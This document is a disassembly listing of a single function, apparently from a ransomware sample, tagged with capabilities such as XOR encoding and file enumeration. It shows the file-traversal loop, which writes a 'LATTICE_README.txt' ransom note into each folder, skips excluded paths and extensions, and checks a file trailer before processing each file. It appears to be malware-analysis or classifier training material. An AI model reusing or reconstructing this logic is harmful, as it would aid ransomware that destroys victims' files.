Function at 0x406ba0
Capabilities:
Encode data using xor
Enumerate files on windows
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x31c
push ebx
push esi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, dword [ebp + 8]
lea eax, [esp + 0x14]
push ebx
push str.Start_Enumeration:__s
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], eax
call fcn.00404ca0
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea esi, [eax*2 + 0xe]
push esi
push 8
push dword [0x42a8e0]
call ebx
mov edi, eax
mov dword [esp + 0x1c], edi
test edi, edi
jne 0x406c24
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42a8e0]
call ebx
mov edi, eax
mov dword [esp + 0x1c], eax
test edi, edi
je 0x406c04
mov ebx, dword [ebp + 8]
lea eax, [edi + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x14]
mov dword [edi], eax
mov dword [edi + 4], ecx
mov dword [eax + 4], edi
mov eax, ecx
mov dword [esp + 0x14], edi
cmp edi, eax
je 0x407043
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea eax, [edi + 8]
push eax
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax*2 + 0x80]
push edi
push 8
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x406ca0
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x406c80
push dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.LATTICE_README.txt
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x406cfd
push 0
lea eax, [esp + 0x2c]
push eax
push 0x429860
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x429860
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x10]
push 0x4259ac
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x40700f
mov ecx, dword [esp + 0x1c]
add ecx, 8
push 0x2a
push ecx
call fcn.00408bb5
mov esi, dword [esp + 0x14]
add esp, 8
xor ecx, ecx
mov word [eax], cx
push 0x4259b4
lea eax, [esp + 0x60]
push eax
call ebx
test eax, eax
je 0x406ff0
push 0x4259b8
lea eax, [esp + 0x60]
push eax
call ebx
test eax, eax
je 0x406ff0
mov eax, dword [esp + 0x30]
test eax, 0x404
jne 0x406ff0
xor esi, esi
test al, 0x10
je 0x406e32
push dword [esi + 0x424650]
lea eax, [esp + 0x60]
push eax
call ebx
test eax, eax
je 0x406fec
add esi, 4
cmp esi, 0x4c
jb 0x406d91
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
lea eax, [esp + 0x5c]
push eax
call edi
add esi, eax
lea esi, [esi*2 + 0xe]
push esi
push 8
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x406e00
nop
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x406de0
push dword [esp + 0x10]
lea esi, [edi + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x5c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x14]
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [esp + 0x18], edi
jmp 0x406fec
push dword [esi + 0x424580]
lea eax, [esp + 0x60]
push eax
call ebx
test eax, eax
je 0x406fec
add esi, 4
cmp esi, 0x48
jb 0x406e32
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
cmp word [eax], 0
je 0x406e82
lea edi, [eax + 2]
xor esi, esi
push dword [esi + 0x4245c8]
push edi
call ebx
test eax, eax
je 0x406fec
add esi, 4
cmp esi, 0x20
jb 0x406e65
mov edi, dword [esp + 0x10]
cmp dword [esp + 0x50], 0
jne 0x406e94
cmp dword [esp + 0x4c], 0
je 0x406fec
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call ebx
mov esi, eax
lea eax, [esp + 0x5c]
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, eax
lea edi, [esi*2 + 2]
push edi
push 8
push dword [0x42a8e0]
call ebx
mov esi, eax
test esi, esi
jne 0x406eec
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push 8
push dword [0x42a8e0]
call ebx
mov esi, eax
test esi, esi
je 0x406ed0
push dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x5c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x80
push esi
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push SysReAllocString
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0x24], ebx
cmp ebx, 0xffffffff
je 0x406fbe
push 2
push 0
push 0xffffffffffffffff
push 0xffffff58
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x406fb7
push 0
lea eax, [esp + 0x30]
push eax
push 0xa8
lea eax, [esp + 0x28c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406fb7
lea edi, [esp + 0x290]
or edx, 0xffffffff
mov ebx, 0x20
movzx eax, byte [edi]
lea edi, [edi + 1]
mov ecx, edx
shl edx, 8
shr ecx, 0x18
xor ecx, eax
xor edx, dword [ecx*4 + 0x422d60]
sub ebx, 1
jne 0x406f80
mov eax, dword [esp + 0x20]
mov ecx, 1
cmp edx, dword [esp + 0x2bc]
mov ebx, dword [esp + 0x24]
cmove eax, ecx
mov dword [esp + 0x20], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x20], 0
jne 0x406fd7
mov ecx, esi
call fcn.00406600
test eax, eax
jne 0x406fd7
lock inc dword [0x42a8d4]
push esi
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, dword [esp + 0x10]
test eax, eax
jne 0x406d50
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [esp + 0x1c]
push edx
push 0
push dword [0x42a8e0]
mov eax, dword [edx + 4]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [esp + 0x14]
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], edi
cmp edi, eax
jne 0x406c56
mov ebx, dword [ebp + 8]
push ebx
push str.Finished_Exploring_Files_on:__s
call fcn.00404ca0
add esp, 8
push ebx
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4